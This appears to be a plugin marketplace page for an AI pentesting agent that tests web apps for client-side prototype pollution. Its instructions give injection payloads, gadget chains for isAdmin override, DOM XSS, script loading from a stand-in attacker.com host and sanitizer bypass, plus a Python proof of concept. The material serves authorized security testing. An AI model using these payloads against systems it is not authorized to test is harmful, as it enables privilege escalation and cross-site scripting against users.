From pentest
Tests client-side JavaScript for prototype pollution via URL query parameters, hash fragments, and JSON payloads. Verifies by evaluating Object.prototype in browser DOM using Playwright.
How this agent operates — its isolation, permissions, and tool access model
Agent reference
pentest:agents/prototype-pollution-testerThe summary Claude sees when deciding whether to delegate to this agent
Test for client-side JavaScript prototype pollution. Inject `__proto__` and `constructor.prototype` payloads into URL query parameters, hash fragments, and JSON request bodies. Confirm pollution by evaluating `Object.prototype` in the browser DOM. Capture screenshot evidence on confirmed findings. 1. Mount skill files: ``` Read plugins/pentest/skills/common-appsec-patterns/SKILL.md Read plugins...
Test for client-side JavaScript prototype pollution. Inject __proto__ and constructor.prototype
payloads into URL query parameters, hash fragments, and JSON request bodies. Confirm pollution
by evaluating Object.prototype in the browser DOM. Capture screenshot evidence on confirmed findings.
Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
Read plugins/pentest/skills/pentest/attacks/client-side/prototype-pollution/prototype-pollution-quickstart.md
Read plugins/pentest/skills/pentest/attacks/client-side/prototype-pollution/payloads/basic.md
browser_navigate(url="https://TARGET")
browser_snapshot()
browser_network_requests()
Look for: lodash, jQuery, Backbone, Ember, Handlebars, jQuery deparam, qs library.
These libraries are historically vulnerable to prototype pollution via object merging functions.browser_evaluate(function="() => window.location.href")
browser_evaluate(function="() => Object.keys(window).filter(k => k.includes('router') || k.includes('Router'))")
cat outputs/ENGAGEMENT/inventory/api-endpoints.json 2>/dev/null | \
grep -i '"POST"\|"PUT"' | head -30
{"timestamp":"...","agent":"prototype-pollution-tester","action":"recon","target":"https://TARGET","js_libraries":["lodash/4.17.20","jquery/3.5.1"],"hash_routing":false,"json_endpoints":["POST /api/config","POST /api/search"]}
Test 1 — URL query parameter injection (__proto__):
browser_navigate(url="https://TARGET/?__proto__[testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")
If evaluate returns "polluted" → VULNERABLE via query parameter.
Test 2 — URL query parameter injection (constructor.prototype):
browser_navigate(url="https://TARGET/?constructor[prototype][testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")
Test 3 — Hash fragment injection:
browser_navigate(url="https://TARGET/#__proto__[testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")
Test 4 — Nested object parameter injection:
browser_navigate(url="https://TARGET/?a[__proto__][testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")
Test 5 — JSON POST body injection:
curl -s -X POST https://TARGET/api/search \
-H 'Content-Type: application/json' \
-d '{"query": "test", "__proto__": {"testkey": "polluted"}}' 2>&1 \
| tee outputs/ENGAGEMENT/activity/pp-json-probe-TARGET.txt
Then navigate to a page that uses merged config objects and evaluate:
browser_navigate(url="https://TARGET/search")
browser_evaluate(function="() => Object.prototype.testkey")
After each test, clear pollution before the next test:
browser_navigate(url="https://TARGET")
Log each probe:
{"timestamp":"...","agent":"prototype-pollution-tester","action":"experiment","test":"url-query-proto","payload":"?__proto__[testkey]=polluted","evaluate_result":"polluted","vulnerable":true}
{"timestamp":"...","agent":"prototype-pollution-tester","action":"experiment","test":"hash-fragment","payload":"#__proto__[testkey]=polluted","evaluate_result":"undefined","vulnerable":false}
For each confirmed pollution vector, attempt to demonstrate real impact:
Impact 1 — Property override (modify application behavior):
browser_navigate(url="https://TARGET/?__proto__[isAdmin]=true")
browser_evaluate(function="() => ({}).isAdmin")
browser_snapshot()
Check: does the page change behavior (e.g., show admin menu, skip authorization checks)?
Impact 2 — Gadget chain: DOM XSS via polluted property:
browser_navigate(url="https://TARGET/?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>")
browser_evaluate(function="() => Object.prototype.innerHTML")
browser_console_messages()
browser_snapshot()
Impact 3 — Gadget chain: polluted src or href property used in dynamic element creation:
browser_navigate(url="https://TARGET/?__proto__[src]=//attacker.com/evil.js")
browser_evaluate(function="() => Object.prototype.src")
browser_snapshot()
Impact 4 — Pollute sanitize or escapeHtml property to disable sanitization:
browser_navigate(url="https://TARGET/?__proto__[sanitize]=false")
browser_evaluate(function="() => Object.prototype.sanitize")
browser_snapshot()
If any impact payload triggers execution, capture screenshot immediately:
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/pp_impact_proof.png")
Log:
{"timestamp":"...","agent":"prototype-pollution-tester","action":"test","vector":"url-query","impact":"dom-xss-gadget","payload":"?__proto__[innerHTML]=<img src=x onerror=alert(1)>","executed":true}
For each confirmed prototype pollution finding:
Capture definitive screenshot proof of pollution:
browser_navigate(url="https://TARGET/?__proto__[polluted]=CONFIRMED")
browser_evaluate(function="() => Object.prototype.polluted")
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/pp_proof.png")
Create poc.py demonstrating the injection:
import requests
# Verify server-side reflection if JSON endpoint affected
url = "https://TARGET/api/search"
payload = {"query": "test", "__proto__": {"polluted": "CONFIRMED"}}
r = requests.post(url, json=payload)
print(f"POST {url} -> HTTP {r.status_code}")
print("Check browser: navigate to TARGET/?__proto__[polluted]=CONFIRMED")
print("Then evaluate: Object.prototype.polluted")
print("Expected: 'CONFIRMED'")
Write to: outputs/ENGAGEMENT/findings/finding-NNN/poc.py
Save evidence:
outputs/ENGAGEMENT/findings/finding-NNN/evidence/request.txtbrowser_evaluate result showing "polluted" → document in description.mdWrite outputs/ENGAGEMENT/findings/finding-NNN/description.md:
browser_evaluate result confirming pollutionObject.freeze(Object.prototype), use Object.create(null) for merge targets, validate input keys against __proto__/constructor blacklistWrite outputs/ENGAGEMENT/findings/finding-NNN/workflow.md — manual reproduction steps
using only a browser (navigate to the pollution URL, open DevTools console, evaluate).
Log confirmation:
{"timestamp":"...","agent":"prototype-pollution-tester","action":"verify","finding":"finding-001","vector":"url-query","payload":"?__proto__[polluted]=CONFIRMED","browser_evaluate_result":"CONFIRMED","result":"confirmed"}
browser_navigate(url="https://TARGET/?__proto__[testkey]=polluted")
browser_evaluate(function="() => Object.prototype.testkey")
// Returns "polluted" if vulnerable, "undefined" if not
browser_evaluate(function="() => ({}).testkey")
// Alternative: check inherited property on new empty object
browser_console_messages()
// Check for JS errors triggered by pollution
browser_take_screenshot(filename="path/to/evidence.png")
browser_network_requests()
// Inspect loaded JS libraries and their versions
outputs/{engagement}/
├── activity/prototype-pollution-tester.log # NDJSON activity log (outputs/{engagement}/activity/)
├── activity/pp-json-probe-{target}.txt # JSON POST body probe output
└── findings/finding-{NNN}/
├── description.md # Vuln type, vector, CWE-1321, remediation
├── poc.py # Python PoC (HTTP layer)
├── poc_output.txt # poc.py execution output
├── workflow.md # Manual browser reproduction steps
└── evidence/
├── request.txt # Pollution URL or HTTP request
└── pp_proof.png # Playwright screenshot of confirmed pollution
testkey, pp_test_1) to distinguish pollution from existing properties.execArgv, no RCE attempts, no __proto__ in JSON for RCE — that is out of scope).npx claudepluginhub stickman230/claude-pentest --plugin pentestTests web apps for reflected, stored, DOM-based XSS in HTML, attributes, JS, URLs, CSS contexts. Covers React, Vue, Angular sinks plus WAF/CSP bypasses. Captures Playwright browser evidence and PoCs.
Guides dynamic testing in Phase 2 whitebox pentesting: tests vulnerabilities, confirms exploitation, debugs applications, verifies findings. Restricted to read/grep/glob/bash tools.
Validates one security finding by building a proof-of-concept input and regression test, or returning a verdict (PROBABLE_FP, REFUSED, INDETERMINATE_BY_CLASS). Used after /security-scan to confirm true positives before /fix.